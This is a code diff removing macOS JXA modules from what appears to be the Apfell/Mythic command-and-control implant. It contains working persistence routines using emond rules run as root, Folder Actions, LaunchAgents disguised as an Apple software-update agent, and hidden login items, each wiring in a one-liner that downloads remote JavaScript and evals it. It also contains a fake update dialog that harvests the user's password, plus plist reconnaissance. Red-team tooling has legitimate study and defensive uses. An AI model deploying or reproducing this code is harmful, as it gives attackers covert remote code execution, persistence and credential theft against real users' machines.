// we need to fix this mess to actually be real permission bits that make sense
|
||||
file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
file_add['permissions']['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")";
|
||||
file_add['permissions']['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")";
|
||||
file_add['permissions']['hidden'] = attr['NSFileExtensionAttribute'] === true;
|
||||
file_add['permissions']['create_time'] = Math.trunc(time_attr['NSFileCreationDate'].timeIntervalSince1970 * 1000);
|
||||
file_add['modify_time'] = Math.trunc(time_attr['NSFileModificationDate'].timeIntervalSince1970 * 1000);
|
||||
file_add['access_time'] = "";
|
||||
files_data.push(file_add);
|
||||
}
|
||||
output['files'] = files_data;
|
||||
}
|
||||
else{
|
||||
output['success'] = false;
|
||||
}
|
||||
}
|
||||
let nsposix = attributes['NSFilePosixPermissions'];
|
||||
let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1);
|
||||
if( components.length > 0 && components[0] === "Macintosh HD"){
|
||||
components.pop();
|
||||
}
|
||||
// say components = "etc, krb5.keytab"
|
||||
// check all components to see if they're symlinks
|
||||
let parent_path = "/";
|
||||
for(let p = 0; p < components.length; p++){
|
||||
let resolvedSymLink = fileManager.destinationOfSymbolicLinkAtPathError( $( parent_path + components[p] ), $.nil ).js;
|
||||
if(resolvedSymLink){
|
||||
parent_path = parent_path + resolvedSymLink + "/";
|
||||
}else{
|
||||
parent_path = parent_path + components[p] + "/";
|
||||
}
|
||||
}
|
||||
output['name'] = fileManager.displayNameAtPath(parent_path).js;
|
||||
output['parent_path'] = parent_path.slice(0, -(output["name"].length + 1));
|
||||
|
||||
if(output['name'] === "Macintosh HD"){output['name'] = "/";}
|
||||
if(output['name'] === output['parent_path']){output['parent_path'] = "";}
|
||||
output['size'] = attributes['NSFileSize'];
|
||||
output['access_time'] = "";
|
||||
output['modify_time'] = Math.trunc(time_attributes['NSFileModificationDate'].timeIntervalSince1970 * 1000);
|
||||
if(attributes['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = attributes['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
output['permissions'] = extended;
|
||||
}else{
|
||||
output['permissions'] = {};
|
||||
}
|
||||
output['permissions']['create_time'] = Math.trunc(time_attributes['NSFileCreationDate'].timeIntervalSince1970 * 1000);
|
||||
output['permissions']['posix'] =((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
output['permissions']['owner'] = attributes['NSFileOwnerAccountName'] + "(" + attributes['NSFileOwnerAccountID'] + ")";
|
||||
output['permissions']['group'] = attributes['NSFileGroupOwnerAccountName'] + "(" + attributes['NSFileGroupOwnerAccountID'] + ")";
|
||||
output['permissions']['hidden'] = attributes['NSFileExtensionHidden'] === true;
|
||||
if(command_params['file_browser'] === "true"){
|
||||
return {"file_browser": output, "completed": true, "user_output": "added data to file browser"};
|
||||
}else{
|
||||
return {"file_browser": output, "completed": true, "user_output": JSON.stringify(output, null, 6)};
|
||||
}
|
||||
}
|
||||
else{
|
||||
return {
|
||||
"user_output": "Failed to get attributes of file. File doesn't exist or you don't have permission to read it",
|
||||
"completed": true,
|
||||
"status": "error"
|
||||
};
|
||||
}
|
||||
|
||||
}catch(error){
|
||||
return {
|
||||
"user_output": "Error: " + error.toString(),
|
||||
"completed": true,
|
||||
"status": "error"
|
||||
};
|
||||
}
|
||||
};
|
||||
@@ -1,97 +0,0 @@
|
||||
exports.persist_emond = function(task, command, params){
|
||||
try{
|
||||
//emond persistence from https://www.xorrior.com/emond-persistence/
|
||||
let config = JSON.parse(params);
|
||||
// read "/System/Library/LaunchDaemons/com.apple.emond.plist" for the "QueueDirectories" key (returns array)
|
||||
// create ".DS_Store" file there that's empty
|
||||
// create new plist in "/etc/emond.d/rules/"
|
||||
let rule_name = "update_files";
|
||||
if(config.hasOwnProperty('rule_name') && config['rule_name'] !== ""){rule_name = config['rule_name'];}
|
||||
let payload_type = "oneliner-jxa";
|
||||
if(config.hasOwnProperty('payload_type') && config['payload_type'] !== ""){payload_type = config['payload_type'];}
|
||||
if(payload_type === "oneliner-jxa"){
|
||||
if(config.hasOwnProperty('url') && config['url'] !== ""){var url = config['url'];}
|
||||
else{ return "URL is required for the oneliner-jxa payload_type"; }
|
||||
let internal_command = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('" +
|
||||
url + "')),$.NSUTF8StringEncoding)))";
|
||||
// now we need to base64 encode our command
|
||||
var command_data = $(internal_command).dataUsingEncoding($.NSUTF16StringEncoding);
|
||||
var base64_command = command_data.base64EncodedStringWithOptions(0).js;
|
||||
var full_command = "echo \"" + base64_command + "\" | base64 -D | /usr/bin/osascript -l JavaScript &";
|
||||
}
|
||||
else if(payload_type === "custom_bash-c"){
|
||||
if(config.hasOwnProperty('command') && config['command'] !== ""){var full_command = config['command'];}
|
||||
else{
|
||||
return {"user_output":"command is a required field for the custom_bash-c payload_type", "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
// get our new plist file_name
|
||||
if(config.hasOwnProperty('file_name') && config['file_name'] !== ""){ var file_name = config['file_name'];}
|
||||
else{ return {"user_output":"file name is required", "completed": true, "status": "error"}; }
|
||||
|
||||
var plist_contents = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n" +
|
||||
"<plist version=\"1.0\">\n" +
|
||||
"<array>\n" +
|
||||
" <dict>\n" +
|
||||
" <key>name</key>\n" +
|
||||
" <string>" + rule_name + "</string>\n" +
|
||||
" <key>enabled</key>\n" +
|
||||
" <true/>\n" +
|
||||
" <key>eventTypes</key>\n" +
|
||||
" <array>\n" +
|
||||
" <string>startup</string>\n" +
|
||||
" </array>\n" +
|
||||
" <key>actions</key>\n" +
|
||||
" <array>\n" +
|
||||
" <dict>\n" +
|
||||
" <key>command</key>\n" +
|
||||
" <string>/bin/sleep</string>\n" +
|
||||
" <key>user</key>\n" +
|
||||
" <string>root</string>\n" +
|
||||
" <key>arguments</key>\n" +
|
||||
" <array>\n" +
|
||||
" <string>60</string>\n" +
|
||||
" </array>\n" +
|
||||
" <key>type</key>\n" +
|
||||
" <string>RunCommand</string>\n" +
|
||||
" </dict>\n" +
|
||||
" <dict>\n" +
|
||||
" <key>command</key>\n" +
|
||||
" <string>/bin/bash</string>\n" +
|
||||
" <key>user</key>\n" +
|
||||
" <string>root</string>\n" +
|
||||
" <key>arguments</key>\n" +
|
||||
" <array>\n" +
|
||||
" <string>-c</string>\n" +
|
||||
" <string> " + full_command + "</string>\n" +
|
||||
" </array>\n" +
|
||||
" <key>type</key>\n" +
|
||||
" <string>RunCommand</string>\n" +
|
||||
" </dict>\n" +
|
||||
" </array>\n" +
|
||||
" </dict>\n" +
|
||||
"</array>\n" +
|
||||
"</plist>";
|
||||
// read the plist file and check the QueueDirectories field
|
||||
var prefs = ObjC.deepUnwrap($.NSMutableDictionary.alloc.initWithContentsOfFile($("/System/Library/LaunchDaemons/com.apple.emond.plist")));
|
||||
//console.log(JSON.stringify(prefs));
|
||||
var queueDirectories = prefs['QueueDirectories'];
|
||||
if(queueDirectories !== undefined && queueDirectories.length > 0){
|
||||
var queueDirectoryPath = queueDirectories[0];
|
||||
write_data_to_file(" ", queueDirectoryPath + "/.DS_Store");
|
||||
// now that we have a file in our queueDirectory, we need to write out our plist
|
||||
write_data_to_file(plist_contents, "/etc/emond.d/rules/" + file_name);
|
||||
|
||||
var user_output = "Created " + queueDirectoryPath + "/.DS_Store and /etc/emond.d/rules/" + file_name + " with contents: \n" + plist_contents;
|
||||
|
||||
// announce our created artifacts and user output
|
||||
return {'user_output': user_output, 'artifacts': [{'base_artifact': 'File Create', 'artifact': queueDirectoryPath + "/.DS_Store"}, {'base_artifact': 'File Create', 'artifact': '/etc/emond.d/rules/' + file_name}], "completed": true};
|
||||
}
|
||||
else{
|
||||
return {"user_output":"QueueDirectories array is either not there or 0 in length", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,67 +0,0 @@
|
||||
exports.persist_folderaction = function(task, command, params){
|
||||
try{
|
||||
// ======= Get params ========
|
||||
let json_params = JSON.parse(params);
|
||||
let folder = json_params['folder'];
|
||||
let script_path = json_params['script_path'];
|
||||
let url = json_params['url'];
|
||||
let code = json_params['code'];
|
||||
let lang = json_params['language'];
|
||||
let code1 = "var app = Application.currentApplication();\n" +
|
||||
"app.includeStandardAdditions = true;\n" +
|
||||
"app.doShellScript(\" osascript -l JavaScript -e \\\"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('";
|
||||
let code2 = "')),$.NSUTF8StringEncoding)));\\\" &> /dev/null &\");";
|
||||
let output = "";
|
||||
// ======== Compile and write script to file ==========
|
||||
ObjC.import('OSAKit');
|
||||
let mylang = "";
|
||||
let myscript = "";
|
||||
if(code !== ""){
|
||||
mylang = $.OSALanguage.languageForName(lang);
|
||||
myscript = $.OSAScript.alloc.initWithSourceLanguage($(code),mylang);
|
||||
}else{
|
||||
mylang = $.OSALanguage.languageForName("JavaScript");
|
||||
myscript = $.OSAScript.alloc.initWithSourceLanguage($(code1 + url + code2),mylang);
|
||||
}
|
||||
|
||||
myscript.compileAndReturnError($());
|
||||
let data = myscript.compiledDataForTypeUsingStorageOptionsError("osas", 0x00000003, $());
|
||||
data.writeToFileAtomically(script_path, true);
|
||||
// ======= Handle the folder action persistence =======
|
||||
let se = Application("System Events");
|
||||
se.folderActionsEnabled = true;
|
||||
let fa_exists = false;
|
||||
let script_exists = false;
|
||||
let myScript = se.Script({name: script_path.split("/").pop(), posixPath: script_path});
|
||||
let fa = se.FolderAction({name: folder.split("/").pop(), path: folder});
|
||||
// first check to see if there's a folder action for the path we're looking at
|
||||
for(let i = 0; i < se.folderActions.length; i++){
|
||||
if(se.folderActions[i].path() === folder){
|
||||
// if our folder already has folder actions, just take the reference for later
|
||||
fa = se.folderActions[i];
|
||||
fa_exists = true;
|
||||
output += "Folder already has folder actions\n";
|
||||
break;
|
||||
}
|
||||
}
|
||||
// if the folder action doesn't exist, add it
|
||||
if(fa_exists === false){
|
||||
se.folderActions.push(fa);
|
||||
}
|
||||
// Check to see if this script already exists on this folder
|
||||
for(let i = 0; i < fa.scripts.length; i++){
|
||||
if(fa.scripts[i].posixPath() === script_path){
|
||||
script_exists = true;
|
||||
output += "Script already assigned to this folder\n";
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(script_exists === false){
|
||||
fa.scripts.push(myScript);
|
||||
}
|
||||
output += "Folder Action established";
|
||||
return {"user_output":output, "completed": true, "artifacts": [{"base_artifact":"File Create", "artifact": script_path}]};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,60 +0,0 @@
|
||||
exports.persist_launch = function(task, command, params){
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
let template = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n" +
|
||||
"<plist version=\"1.0\">\n" +
|
||||
"<dict>\n" +
|
||||
"<key>Label</key>\n";
|
||||
let label = "com.apple.softwareupdateagent";
|
||||
if(config.hasOwnProperty('label') && config['label'] !== ""){label = config['label'];}
|
||||
template += "<string>" + label + "</string>\n";
|
||||
template += "<key>ProgramArguments</key><array>\n";
|
||||
if(config.hasOwnProperty('args') && config['args'].length > 0){
|
||||
if(config['args'][0] === "apfell-jxa"){
|
||||
// we'll add in an apfell-jxa one liner to run
|
||||
template += "<string>/usr/bin/osascript</string>\n" +
|
||||
"<string>-l</string>\n" +
|
||||
"<string>JavaScript</string>\n" +
|
||||
"<string>-e</string>\n" +
|
||||
"<string>eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('" +
|
||||
config['args'][1] + "')),$.NSUTF8StringEncoding)))</string>\n"
|
||||
}
|
||||
else{
|
||||
for(let i = 0; i < config['args'].length; i++){
|
||||
template += "<string>" + config['args'][i] + "</string>\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
else{
|
||||
return {"user_output": "Program args needs values for \"apfell-jxa\"", "completed": true, "status": "error"};
|
||||
}
|
||||
template += "</array>\n";
|
||||
if(config.hasOwnProperty('KeepAlive') && config['KeepAlive'] === true){ template += "<key>KeepAlive</key>\n<true/>\n"; }
|
||||
if(config.hasOwnProperty('RunAtLoad') && config['RunAtLoad'] === true){ template += "<key>RunAtLoad</key>\n<true/>\n"; }
|
||||
template += "</dict>\n</plist>\n"
|
||||
// now we need to actually write out the plist to disk
|
||||
let response = "";
|
||||
if(config.hasOwnProperty('LocalAgent') && config['LocalAgent'] === true){
|
||||
let path = "~/Library/LaunchAgents/";
|
||||
path = $(path).stringByExpandingTildeInPath;
|
||||
var fileManager = $.NSFileManager.defaultManager;
|
||||
if(!fileManager.fileExistsAtPath(path)){
|
||||
$.fileManager.createDirectoryAtPathWithIntermediateDirectoriesAttributesError(path, false, $(), $());
|
||||
}
|
||||
path = $(path.js + "/" + label + ".plist");
|
||||
response = write_data_to_file(template, path) + " to " + ObjC.deepUnwrap(path);
|
||||
let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': ObjC.deepUnwrap(path)}], "completed": true};
|
||||
return artifacts
|
||||
}
|
||||
else if(config.hasOwnProperty('LaunchPath') && config['LaunchPath'] !== ""){
|
||||
response = write_data_to_file(template, $(config['LaunchPath'])) + " to " + config["LaunchPath"];
|
||||
let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': config["LaunchPath"]}], "completed": true};
|
||||
return artifacts
|
||||
}
|
||||
return artifacts
|
||||
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,22 +0,0 @@
|
||||
exports.persist_loginitem_allusers = function(task, command, params){
|
||||
ObjC.import('CoreServices');
|
||||
ObjC.import('Security');
|
||||
ObjC.import('SystemConfiguration');
|
||||
let args = JSON.parse(params);
|
||||
// Obtain authorization for the global login item list
|
||||
// Set the item as hidden: https://github.com/pkamb/OpenAtLogin/blob/master/OpenAtLogin.m#L35
|
||||
let auth;
|
||||
let result = $.AuthorizationCreate($.nil, $.nil, $.kAuthorizationDefaults, Ref(auth));
|
||||
|
||||
if (result === 0) {
|
||||
let temp = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, args['path'], args['path'].length, false);
|
||||
let items = $.LSSharedFileListCreate($.kCFAllocatorDefault, $.kLSSharedFileListGlobalLoginItems, $.nil);
|
||||
$.LSSharedFileListSetAuthorization(items, auth);
|
||||
let cfName = $.CFStringCreateWithCString($.nil, args['name'], $.kCFStringEncodingASCII);
|
||||
let itemRef = $.LSSharedFileListInsertItemURL(items, $.kLSSharedFileListItemLast, cfName, $.nil, temp, $.nil, $.nil);
|
||||
return {"user_output": "LoginItem installation successful", "completed": true};
|
||||
} else {
|
||||
return {"user_output": `LoginItem installation failed: AuthorizationCreate returned ${result}`, "completed": true};
|
||||
}
|
||||
|
||||
};
|
||||
@@ -1,203 +0,0 @@
|
||||
exports.plist = function(task, command, params){
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
ObjC.import('Foundation');
|
||||
let output = [];
|
||||
try{
|
||||
if(config['type'] === "read"){
|
||||
output = [];
|
||||
let filename = $.NSString.alloc.initWithUTF8String(config['filename']);
|
||||
let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(filename);
|
||||
let contents = ObjC.deepUnwrap(prefs);
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(config['filename']), $()));
|
||||
let nsposix = {};
|
||||
let posix = "";
|
||||
if(plistPerms !== undefined){
|
||||
nsposix = plistPerms['NSFilePosixPermissions'].js;
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = plistPerms['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
contents['PlistPermissionsExtendedAttributes'] = extended;
|
||||
}
|
||||
}
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
contents['PlistPermissions'] = posix;
|
||||
output.push(contents);
|
||||
}
|
||||
else if(config['type'] === "readLaunchAgents"){
|
||||
output = {};
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let error = Ref();
|
||||
let path = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation + "/Library/LaunchAgents/";
|
||||
let files = fileManager.contentsOfDirectoryAtPathError($(path), error);
|
||||
try{
|
||||
// no errors, so now iterate over the files
|
||||
files = ObjC.deepUnwrap(files);
|
||||
output["localLaunchAgents"] = {};
|
||||
for(let i in files){
|
||||
let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(path + files[i]);
|
||||
let contents = ObjC.deepUnwrap(prefs);
|
||||
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + files[i]), $()));
|
||||
let nsposix = {};
|
||||
let posix = "";
|
||||
if(plistPerms !== undefined){
|
||||
nsposix = plistPerms['NSFilePosixPermissions'].js;
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = plistPerms['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
contents['PlistPermissionsExtendedAttributes'] = extended;
|
||||
}
|
||||
}
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
contents['PlistPermissions'] = posix;
|
||||
output["localLaunchAgents"][files[i]] = {};
|
||||
output["localLaunchAgents"][files[i]]['contents'] = contents;
|
||||
if(contents !== undefined && contents.hasOwnProperty("ProgramArguments")){
|
||||
//now try to get the attributes of the program this plist points to since it might have attribute issues for abuse
|
||||
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
|
||||
if(attributes !== undefined){
|
||||
let trimmed_attributes = {};
|
||||
trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
|
||||
trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
|
||||
trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
|
||||
trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
|
||||
trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
|
||||
nsposix = attributes['NSFilePosixPermissions'];
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
trimmed_attributes['NSFilePosixPermissions'] = posix;
|
||||
trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
|
||||
trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
|
||||
output["localLaunchAgents"][files[i]]['ProgramAttributes'] = trimmed_attributes;
|
||||
}
|
||||
}
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":"Error trying to read ~/Library/LaunchAgents: " + error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
path = "/Library/LaunchAgents/";
|
||||
files = fileManager.contentsOfDirectoryAtPathError($(path), error);
|
||||
try{
|
||||
// no errors, so now iterate over the files
|
||||
files = ObjC.deepUnwrap(files);
|
||||
output["systemLaunchAgents"] = {};
|
||||
for(let i in files){
|
||||
let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(path + files[i]);
|
||||
let contents = ObjC.deepUnwrap(prefs);
|
||||
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + files[i]), $()));
|
||||
let nsposix = {};
|
||||
let posix = "";
|
||||
if(plistPerms !== undefined){
|
||||
nsposix = plistPerms['NSFilePosixPermissions'].js;
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = plistPerms['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
contents['PlistPermissionsExtendedAttributes'] = extended;
|
||||
}
|
||||
}
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
contents['PlistPermissions'] = posix;
|
||||
output['systemLaunchAgents'][files[i]] = {};
|
||||
output["systemLaunchAgents"][files[i]]['contents'] = contents;
|
||||
if(contents !== undefined && contents.hasOwnProperty("ProgramArguments")){
|
||||
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
|
||||
if(attributes !== undefined){
|
||||
let trimmed_attributes = {};
|
||||
trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
|
||||
trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
|
||||
trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
|
||||
trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
|
||||
trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
|
||||
let nsposix = attributes['NSFilePosixPermissions'];
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
trimmed_attributes['NSFilePosixPermissions'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();;
|
||||
trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
|
||||
trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
|
||||
output["systemLaunchAgents"][files[i]]['ProgramAttributes'] = trimmed_attributes;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":"Error trying to read /Library/LaunchAgents: " + error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
else if(config['type'] === "readLaunchDaemons"){
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let path = "/Library/LaunchDaemons/";
|
||||
let error = Ref();
|
||||
output = {};
|
||||
let files = fileManager.contentsOfDirectoryAtPathError($(path), error);
|
||||
try{
|
||||
// no errors, so now iterate over the files
|
||||
files = ObjC.deepUnwrap(files);
|
||||
output["systemLaunchDaemons"] = {};
|
||||
for(let i in files){
|
||||
let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(path + files[i]);
|
||||
let contents = ObjC.deepUnwrap(prefs);
|
||||
if(contents === undefined){ contents = {};}
|
||||
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + files[i]), $()));
|
||||
let nsposix = {};
|
||||
let posix = "";
|
||||
if(plistPerms !== undefined){
|
||||
nsposix = plistPerms['NSFilePosixPermissions'].js;
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = plistPerms['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
contents['PlistPermissionsExtendedAttributes'] = extended;
|
||||
}
|
||||
}
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
contents['PlistPermissions'] = posix;
|
||||
output['systemLaunchDaemons'][files[i]] = {};
|
||||
output["systemLaunchDaemons"][files[i]]['contents'] = contents;
|
||||
if(contents !== undefined && contents.hasOwnProperty('ProgramArguments')){
|
||||
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
|
||||
if(attributes !== undefined){
|
||||
let trimmed_attributes = {};
|
||||
trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
|
||||
trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
|
||||
trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
|
||||
trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
|
||||
trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
|
||||
nsposix = attributes['NSFilePosixPermissions'];
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
trimmed_attributes['NSFilePosixPermissions'] = posix;
|
||||
trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
|
||||
trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
|
||||
output["systemLaunchDaemons"][files[i]]['ProgramAttributes'] = trimmed_attributes;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":"Failed to read launch daemons: " + error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
return {"user_output":JSON.stringify(output, null, 2), "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
exports.prompt = function(task, command, params){
|
||||
if(params.length > 0){config = JSON.parse(params);}
|
||||
else{config = [];}
|
||||
let title = "Application Needs to Update";
|
||||
if(config.hasOwnProperty("title") && config['title'] !== ""){title = config['title'];}
|
||||
let icon = "/System/Library/PreferencePanes/SoftwareUpdate.prefPane/Contents/Resources/SoftwareUpdate.icns";
|
||||
if(config.hasOwnProperty("icon") && config['icon'] !== ""){icon = config['icon'];}
|
||||
let text = "An application needs permission to update";
|
||||
if(config.hasOwnProperty("text") && config['text'] !== ""){text = config['text'];}
|
||||
let answer = "";
|
||||
if(config.hasOwnProperty("answer") && config['answer'] !== "" && config["answer"] !== null){answer = config['answer'];}
|
||||
try{
|
||||
let cbID = currentApp.systemAttribute('__CFBundleIdentifier').toString()
|
||||
let contextApp = Application(cbID)
|
||||
contextApp.includeStandardAdditions = true;
|
||||
let prompt = contextApp.displayDialog(text, {
|
||||
defaultAnswer: answer,
|
||||
buttons: ['OK', 'Cancel'],
|
||||
defaultButton: 'OK',
|
||||
cancelButton: 'Cancel',
|
||||
withTitle: title,
|
||||
withIcon: Path(icon),
|
||||
hiddenAnswer: true
|
||||
});
|
||||
return {"user_output":prompt.textReturned, "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,12 +0,0 @@
|
||||
exports.pwd = function(task, command, params){
|
||||
try{
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let cwd = fileManager.currentDirectoryPath;
|
||||
if(cwd === undefined || cwd === ""){
|
||||
return {"user_output":"CWD is empty or undefined", "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output":cwd.js, "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,14 +0,0 @@
|
||||
exports.report_routes = function(task, command, params){
|
||||
let parameters = JSON.parse(params);
|
||||
let edges = [
|
||||
{
|
||||
"source": parameters['source'],
|
||||
"destination": parameters['destination'],
|
||||
"direction": parameters['direction'],
|
||||
"action": parameters['action'],
|
||||
"metadata": parameters['metadata']
|
||||
}
|
||||
];
|
||||
//C2.htmlPostData("api/v1.4/agent_message", data, apfell.id);
|
||||
return {"user_output": "Route submitted", "completed": true, "edges": edges};
|
||||
};
|
||||
@@ -1,15 +0,0 @@
|
||||
exports.rm = function(task, command, params){
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
let path = command_params['path'];
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
if(path[0] === '"'){
|
||||
path = path.substring(1, path.length-1);
|
||||
}
|
||||
let error = Ref();
|
||||
fileManager.removeItemAtPathError($(path), error);
|
||||
return {"user_output":"Removed file", "completed": true, "removed_files": [{"path": path, "host": ""}]};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
